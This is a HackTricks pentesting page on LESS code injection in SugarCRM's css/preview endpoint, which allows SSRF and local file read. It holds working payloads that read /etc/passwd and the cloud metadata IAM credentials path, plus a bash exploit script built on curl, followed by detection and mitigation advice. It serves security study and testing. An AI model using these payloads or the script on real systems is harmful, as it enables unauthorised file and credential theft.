hacktricks/src/pentesting-web/less-code-injection-ssrf.md

82 lines
3.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LESS Code Injection leading to SSRF & Local File Read
{{#include ../banners/hacktricks-training.md}}
## Overview
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
When an application concatenates **user-controlled input** into a string that is later parsed by the LESS compiler, an attacker can **inject arbitrary LESS code**. By abusing `@import (inline)` the attacker can force the server to retrieve:
* Local files via the `file://` protocol (information disclosure / Local File Inclusion).
* Remote resources on internal networks or cloud metadata services (SSRF).
This technique has been seen in real-world products such as **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
## Exploitation
1. Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. `?lm=` in SugarCRM).
2. Close the current statement and inject new directives. The most common primitives are:
* `;` terminates the previous declaration.
* `}` closes the previous block (if required).
3. Use `@import (inline) '<URL>';` to read arbitrary resources.
4. Optionally inject a **marker** (`data:` URI) after the import to ease extraction of the fetched content from the compiled CSS.
### Local File Read
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
The contents of `/etc/passwd` will appear in the HTTP response just before the `@@END@@` marker.
### SSRF Cloud Metadata
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### Automated PoC (SugarCRM example)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Detection
* Look for dynamically generated `.less` or `.css` responses containing unsanitised query parameters.
* During code review, search for constructions like `"@media all { .preview { ... ${userInput} ... } }"` passed to LESS render functions.
* Exploit attempts often include `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc.
## Mitigations
* Do **not** pass untrusted data to the LESS compiler.
* If dynamic values are required, properly **escape**/sanitize them (e.g., restrict to numeric tokens, whitelists).
* Disable, when possible, the ability to use `(inline)` imports, or limit allowed protocols to `https`.
* Keep dependencies up to date SugarCRM patched this issue in versions 13.0.4 and 14.0.1.
## Real-World Cases
| Product | Vulnerable Endpoint | Impact |
|---------|--------------------|--------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & local file read |
## References
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}